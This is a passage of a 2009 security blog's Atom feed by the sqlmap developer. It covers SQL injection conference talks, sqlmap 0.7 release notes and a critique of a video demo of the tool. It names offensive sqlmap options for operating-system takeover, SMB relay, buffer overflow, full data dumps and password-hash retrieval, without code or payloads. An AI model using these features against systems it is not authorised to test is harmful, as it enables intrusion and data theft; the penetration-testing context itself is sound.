href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7284793464974859974" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7284793464974859974?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7284793464974859974?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/iTeAz-BNCKo/expanding-control-over-operating-system.html" title="Expanding the control over the operating system from the database" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/09/expanding-control-over-operating-system.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8ASX8yeyp7ImA9WxNRE0w.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7937124323576401254</id><published>2009-09-07T10:42:00.003+02:00</published><updated>2009-09-07T10:57:28.193+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-07T10:57:28.193+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>SOURCE Barcelona 2009</title><content type="html">&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt;My friend &lt;a href="http://milw0rm.com/author/1413"&gt;Guido Landi&lt;/a&gt; and I have been selected as &lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt;speakers&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; for &lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a href="http://sourceconference.com/index.php/source-barcelona-2009"&gt;SOURCE Barcelona 2009&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; conference. We are&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a href="http://sourceconference.com/index.php/source-barcelona-2009/schedule"&gt;scheduled&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; to present on September 21.&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt;Our presentation is titled &lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-style: italic;" class="desc-talk-title"&gt;Expanding the Control Over Operating System From the Database&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; and the abstract is as follows:&lt;br /&gt;&lt;blockquote&gt;Using a database, either via a SQL injection or via direct connection, as a stepping stone to control the underlying operating system can be achieved. There is much to say on operating system control by owning a database server: Windows registry access, anti-forensics techniques and custom user-defined function injection. These topics and more will be highlighted during the presentation.&lt;/blockquote&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;The Conference will take place on September 21 - 22, 2009 at &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a href="http://www.mnac.cat/index.jsp?lan=003"&gt;Museu Nacional D’art de Catalunya&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family: trebuchet ms;"&gt; in Barcelona (Spain), don't miss it if you can!&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7937124323576401254?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/ghXrjw9aZho" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7937124323576401254/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7937124323576401254" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7937124323576401254?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7937124323576401254?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/ghXrjw9aZho/source-barcelona-2009.html" title="SOURCE Barcelona 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/09/source-barcelona-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYBRXgzfSp7ImA9WxJbFUs.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-557329035528065555</id><published>2009-07-25T23:32:00.000+02:00</published><updated>2009-07-26T01:55:54.685+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-07-26T01:55:54.685+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>sqlmap 0.7 released</title><content type="html">&lt;pre style="font-family: trebuchet ms;" wrap=""&gt;&lt;span style="font-size: 100%;"&gt;Today I released &lt;a href="http://sqlmap.sourceforge.net/"&gt;sqlmap&lt;/a&gt; version 0.7.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Along all the takeover features introduced in &lt;a href="http://bernardodamele.blogspot.com/2009/04/advanced-sql-injection-to-operating.html"&gt;sqlmap 0.7 release candidate 1&lt;/a&gt;, some of the new features include:&lt;br /&gt;&lt;/pre&gt;&lt;ul style="font-family: trebuchet ms;"&gt;&lt;li&gt;Adapted Metasploit wrapping functions to work with latest 3.3 development version too.&lt;/li&gt;&lt;li&gt;Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.&lt;/li&gt;&lt;li&gt;Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too.&lt;/li&gt;&lt;li&gt;Minor improvement so that sqlmap tests also all parameters with no value (eg. par=).&lt;/li&gt;&lt;li&gt;HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre style="font-family: trebuchet ms;" wrap=""&gt;&lt;span style="font-family: trebuchet ms;"&gt;Complete list of changes at &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://sqlmap.sourceforge.net/doc/ChangeLog" target="_blank"&gt;http://sqlmap.sourceforge.net/&lt;wbr&gt;doc/ChangeLog&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you have any feedback feel free to &lt;a href="http://sqlmap.sourceforge.net/#contribute"&gt;contribute&lt;/a&gt;!&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-557329035528065555?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/Vzz3HeCLz8M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/557329035528065555/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=557329035528065555" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/557329035528065555?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/557329035528065555?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/Vzz3HeCLz8M/sqlmap-07-released.html" title="sqlmap 0.7 released" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/07/sqlmap-07-released.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUBQ3w8fCp7ImA9WxJVE0o.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-231639338164418485</id><published>2009-06-30T15:55:00.005+02:00</published><updated>2009-06-30T16:47:32.274+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-30T16:47:32.274+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="slides" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Back from Lisbon, Portugal</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;Last week-end I was in Lisbon (Portugal) speaking at the &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://bernardodamele.blogspot.com/2009/06/digital-security-forum-2009.html"&gt;2nd Digital Security Forum&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The Conference was a blast! Very well organized, good location, warm people and some interesting speeches too. I look forward to attend at the next.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Thanks to the guys at &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.pontosi.pt/"&gt;PontoSI&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and other sponsors for organizing such a great event.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;As usual, I published the slides on &lt;a href="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated"&gt;SlideShare&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 425px; text-align: left; font-family: trebuchet ms;" id="__ss_1661965"&gt;&lt;object style="margin: 0px;" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=dsf-09-damele-a-g-sql-injection-not-only-090630094034-phpapp02&amp;amp;stripped_title=sql-injection-not-only-and-11-updated"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=dsf-09-damele-a-g-sql-injection-not-only-090630094034-phpapp02&amp;amp;stripped_title=sql-injection-not-only-and-11-updated" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-231639338164418485?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/nV2rFyz8kdk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/231639338164418485/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=231639338164418485" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/231639338164418485?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/231639338164418485?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/nV2rFyz8kdk/back-from-lisbon-portugal.html" title="Back from Lisbon, Portugal" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/06/back-from-lisbon-portugal.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YGSX07cSp7ImA9WxJXFkk.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-5445034762688705755</id><published>2009-06-10T16:19:00.006+02:00</published><updated>2009-06-10T16:45:28.309+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-10T16:45:28.309+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Digital Security Forum 2009</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I have been invited to speak at the &lt;a href="http://www.digitalsecurityforum.eu/"&gt;2nd Digital Security Forum&lt;/a&gt; in a couple of weeks time.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I will present an updated version of my slides &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://bernardodamele.blogspot.com/2009/03/presenting-at-owasp-london-chapter.html"&gt;SQL injection: Not Only AND 1=1&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;. The abstract is once again as follows:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-family: trebuchet ms;"&gt;&lt;p&gt;The presentation has a quick preamble on SQL injection definition, sqlmap and its key features. &lt;/p&gt;&lt;p&gt;&lt;span&gt;I will then illustrate into details common and uncommon problems and respective solutions with examples that a penetration tester faces when he wants to take advantage of any kind of web application SQL injection flaw on real world web applications, for instance SQL injection in &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;ORDER BY&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;LIMIT&lt;/span&gt;&lt;span&gt; clauses, single entry UNION query SQL injection, specific web application technologies IDS bypasses and more.&lt;/span&gt; &lt;/p&gt;&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;The Conference will take place on June 26 - 27, 2009 at Hotel Olissippo Oriente in Lisbon&lt;/span&gt;&lt;span class="external text"  style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; (Portugal).&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;If you are around, it's an occasion to catch up and share ideas on application security, see you there!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-5445034762688705755?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/pNFuIibRNNI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/5445034762688705755/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=5445034762688705755" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5445034762688705755?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5445034762688705755?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/pNFuIibRNNI/digital-security-forum-2009.html" title="Digital Security Forum 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/06/digital-security-forum-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0UERXk9cCp7ImA9WxJQGUk.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-6403766356649793028</id><published>2009-06-02T15:15:00.003+02:00</published><updated>2009-06-02T15:26:44.768+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-02T15:26:44.768+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="debian" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>sqlmap in Ubuntu package repository</title><content type="html">&lt;span style="font-family: trebuchet ms;"&gt;Ubuntu developer &lt;a href="https://launchpad.net/%7Ejames-w"&gt;James Westby&lt;/a&gt; has been &lt;a href="https://launchpad.net/ubuntu/+source/sqlmap"&gt;very fast&lt;/a&gt; to pick sqlmap up from &lt;a href="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html"&gt;Debian&lt;/a&gt; repository, it is now officially available as a package "&lt;span style="font-style: italic;"&gt;for human beings&lt;/span&gt;" on Ubuntu &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.ubuntu.com/search?keywords=sqlmap&amp;amp;searchon=names&amp;amp;suite=all&amp;amp;section=all"&gt;Karmic&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt;, the next stable release!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-6403766356649793028?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/Qs1aQo4MxGA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/6403766356649793028/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=6403766356649793028" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6403766356649793028?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6403766356649793028?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/Qs1aQo4MxGA/sqlmap-in-ubuntu-package-repository.html" title="sqlmap in Ubuntu package repository" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/06/sqlmap-in-ubuntu-package-repository.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEANRno_fyp7ImA9WxJQFE8.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7886923826860851731</id><published>2009-05-27T12:37:00.010+02:00</published><updated>2009-05-27T13:13:17.447+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-27T13:13:17.447+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="videos" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>PaulDotCom video on sqlmap</title><content type="html">&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;During &lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;a href="http://pauldotcom.com/2009/05/pauldotcom-security-weekly---e-8.html"&gt;PaulDotCom Security Weekly - Episode 152&lt;/a&gt; on May 14, 2009&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;, &lt;/span&gt;&lt;span class="fn url"  style="font-family:trebuchet ms;"&gt;John Strand&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://pauldotcom.com/2009/05/sql-injection-with-sqlmap.html"&gt;discussed&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; about sqlmap in a video hosted on &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://vimeo.com/4634556"&gt;vimeo&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I think the video is worth watching for someone interested in having a quick overview on &lt;span style="font-weight: bold;"&gt;very few&lt;/span&gt; sqlmap features, but going through the users' manual and the users' mailing list archive offer much more technical insight on the tool and the vulnerability itself.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Follows my comments on the video:&lt;/span&gt;&lt;br /&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Minute 0:20 - "&lt;span style="font-style: italic;"&gt;[...] one of the reasons why I think it is better&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:trebuchet ms;" &gt; than commercial tools it's quite simply because of its flexibility [...]&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;".&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;blockquote&gt;In practice only the &lt;span style="font-weight: bold;"&gt;less flexible&lt;/span&gt; enumeration option has been demonstrated (&lt;span style="font-family:courier new;"&gt;--dump-all&lt;/span&gt;) rather than focusing on the fact that it has plenty of options to automatically enumerate/dump specific information like for example test if session user is DBA, retrieve only current user password hash, dump only a range of entries from a table or even only some columns, etc. All of these features are illustrated with examples in the sqlmap &lt;a href="http://sqlmap.sourceforge.net/doc/README.html"&gt;user's manual&lt;/a&gt;.&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Also, he is showing sqlmap user's manual from the site (0.7rc1) but during the demonstration he is using sqlmap 0.6.4.&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Minute 7:10 - "&lt;span style="font-style: italic;"&gt;[...] there has been a lot of tools that do PHP &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:trebuchet ms;" &gt;[...]. This tool also has the capability of doing ASP [...]&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;".&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt; &lt;blockquote&gt;SQL injection is &lt;span style="font-weight: bold;"&gt;not&lt;/span&gt; a matter of the web application language. It is a matter of lack of security driven development best practices put in place, lack of proper input sanitization, lack of proper web application firewall and so on. The concept exposed by John here is &lt;span style="font-weight: bold;"&gt;wrong&lt;/span&gt; and can lead the newbie user to not understand the flaw properly.&lt;br /&gt;Also, from his words it seems that a SQL injection tool is more powerful if it "&lt;span style="font-style: italic;"&gt;does&lt;/span&gt;" more web scripting languages: needless to say that this is totally wrong because as soon as the tool engine is written and working, the SQL injection tool does not care at all what is the language in which the application is written. On the other hand, something that shall be considered when evaluating a SQL injection tool is its support for different back-end DBMS software which implies support for different SQL dialects because the SQL statements depend upon the database software / version / session user privileges. Again, not on the front-end language.&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt; Minute 7:26 - "&lt;span style="font-style: italic;font-family:trebuchet ms;" &gt;[...] a wonderful error [...] tools crash anytime [...]&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;".&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt; &lt;blockquote&gt;If you take a look at the Python traceback, you see why the tool raises the exception. It's because sqlmap saves everything it fetches into the &lt;span style="font-family:courier new;"&gt;output/&lt;/span&gt; subfolder. John probably run the tool at first place as a privileged user so the &lt;span style="font-family:courier new;"&gt;output/&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;testasp.acunetix.com/&lt;wbr&gt;log&lt;/span&gt; has been created with &lt;span style="font-family:courier new;"&gt;644&lt;/span&gt; privileges, owned by &lt;span style="font-family:courier new;"&gt;root&lt;/span&gt; and since he runs the tool for the second time as normal user (apparently &lt;span style="font-family:courier new;"&gt;argotek&lt;/span&gt;) it's obvious that it "crashes" with a &lt;span style="font-family:courier new;"&gt;Permission denied&lt;/span&gt; exception.&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Minute 7:39 - "&lt;span style="font-style: italic;"&gt;[...] going off Microsoft SQL back-ends as well as&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:trebuchet ms;" &gt; part of ASP&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;".&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt; &lt;blockquote&gt;Good point, but Microsoft SQL Server can be the back-end DBMS also for a front-end application in PHP or any other language that has built-in or external connectors to support connections to such DBMS.&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Minute 7:50 - &lt;span style="font-family:courier new;"&gt;--sql-shell&lt;/span&gt; has been recently fixed. Give it a try to&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; the latest development version from subversion repository. However, good point and well described here.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Minute 8:35 - Thanks for pointing out the user several times to&lt;/span&gt; RTFM.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;John only mentioned about the takeover functionality at the&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; beginning of the video while going through the user's manual pages.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;What about a video demonstrating in practice the new features to takeover the underlying file system and operating system from the SQL injection vulnerability? To give you an idea, just grab sqlmap from subversion repository and read more on my presentations' &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides"&gt;slides&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;, &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"&gt;whitepaper&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://data.sqlmap.org/videos/conferences/BH-EU-2009/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-video.mp4"&gt;video&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;a href="http://data.sqlmap.org/conferences/BH-EU-2009/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-video.mp4" target="_blank"&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7886923826860851731?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/OJ6FGITsteE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7886923826860851731/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7886923826860851731" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7886923826860851731?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7886923826860851731?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/OJ6FGITsteE/pauldotcom-video-on-sqlmap.html" title="PaulDotCom video on sqlmap" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/pauldotcom-video-on-sqlmap.html</feedburner:origLink></entry><entry 